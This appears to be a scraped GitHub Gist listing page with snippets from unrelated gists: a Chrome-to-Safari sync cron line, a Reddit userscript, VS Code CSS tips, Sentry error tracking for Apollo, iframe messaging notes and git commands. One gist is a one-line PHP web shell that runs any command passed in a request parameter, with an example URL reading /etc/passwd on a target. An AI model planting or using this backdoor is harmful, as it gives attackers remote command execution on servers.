Skip to content

Instantly share code, notes, and snippets.

t=`
tttt
ttt:::t
t:::::t
t:::::t
ttttttt:::::ttttttt rrrrr rrrrrrrrr uuuuuu uuuuuu eeeeeeeeeeee
t:::::::::::::::::t r::::rrr:::::::::r u::::u u::::u ee::::::::::::ee
t:::::::::::::::::t r:::::::::::::::::r u::::u u::::u e::::::eeeee:::::ee
tttttt:::::::tttttt rr::::::rrrrr::::::ru::::u u::::u e::::::e e:::::e
t:::::t r:::::r r:::::ru::::u u::::u e:::::::eeeee::::::e
@Aneureka
Aneureka / sync-from-chrome-to-safari
Last active November 6, 2024 23:18
An apple script to sync history, bookmarks & passwords from google chrome to safari.
# Add a scheduled sync task at 4:00 am
# Some privileges should be granted to `cron` *manually*, so you may test `* * * * *` (run every second) first to grant the needed privileges in advance
0 4 * * * osascript /path/to/your/sync-from-chrome-to-safari.scpt
@c6p
c6p / reddit-multi-column.user.js
Last active September 13, 2024 13:14
Reddit Multi Column
// ==UserScript==
// @name Reddit Multi Column
// @namespace https://gist.github.com/c6p/463892bb243f611f2a3cfa4268c6435e
// @version 0.2.3
// @description Multi column layout for reddit redesign
// @author Can Altıparmak
// @homepageURL https://gist.github.com/c6p/463892bb243f611f2a3cfa4268c6435e
// @match https://www.reddit.com/*
// @match https://new.reddit.com/*
// @grant none
@samdenty
samdenty / README.MD
Last active June 7, 2024 10:02
VS Code CSS addition to increase readability on file tree.

How to install

Custom CSS plugin

Install the custom CSS plugin, then make a file on your computer that will hold your custom CSS, I like to make one in my home directory called ~/.vscodestyles.css and then add the CSS into it.

Once done, open your command palette and select enable custom CSS and JS

@kentcdodds
kentcdodds / README.md
Created October 25, 2017 22:01
Rendering a function with React

Rendering a function with React

No, this isn't about render props

I'm going to clean this up and publish it in my newsletter next week!

Context

So react-i18n (not the npm one... one we made at PayPal internally) has this

@jakewtaylor
jakewtaylor / readme.md
Last active January 6, 2024 23:29
VS Code CSS addition to increase readability on file tree.

Increases indentation on the file tree and adds some lines to each directory/file.

Works 15 levels deep, but you can expand it by just adding more of each line thats repeating, i.e.:

  • add another box shadow
    • (n*-20px) 0 0 0 rgba(255, 255, 255, 0.4)
  • add another padding-left
    • .monaco-tree-row[aria-level="n"] { padding-left: ((n-1)*20)px; }
  • add another :before & :after with left positioning
    • .monaco-tree-row[aria-level="n"]:before { left: (((n-1)*20)-9)px; }
  • .monaco-tree-row[aria-level="n"]:after { left: (((n-1)*20)-9)px; }
@nodkz
nodkz / apolloServer2019.ts
Last active November 23, 2024 12:13
GraphQL error tracking with sentry.io (ApolloServer 2019)
import express from 'express';
import { ApolloServer } from 'apollo-server-express';
import { ApolloServerPlugin } from 'apollo-server-plugin-base';
import * as Sentry from '@sentry/node';
Sentry.init({
environment: process.env.APP_ENV,
// see why we use APP_NAME here: https://github.com/getsentry/sentry-cli/issues/482
release: `${process.env.APP_NAME}-${process.env.APP_REVISION}` || '0.0.1',
dsn: process.env.SENTRY_DSN,
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
@pbojinov
pbojinov / README.md
Last active November 5, 2024 03:29
Two way iframe communication- Check out working example here: http://pbojinov.github.io/iframe-communication/

Two way iframe communication

The main difference between the two pages is the method of sending messages. Recieving messages is the same in both.

Parent

Send messages to iframe using iframeEl.contentWindow.postMessage Recieve messages using window.addEventListener('message')

iframe

@ralphcrisostomo
ralphcrisostomo / Git.Fixed.Untracked.Files
Created July 22, 2013 09:17
Fixed untracked Git files
git rm -r --cached .
git add .
git commit -m "fixed untracked files"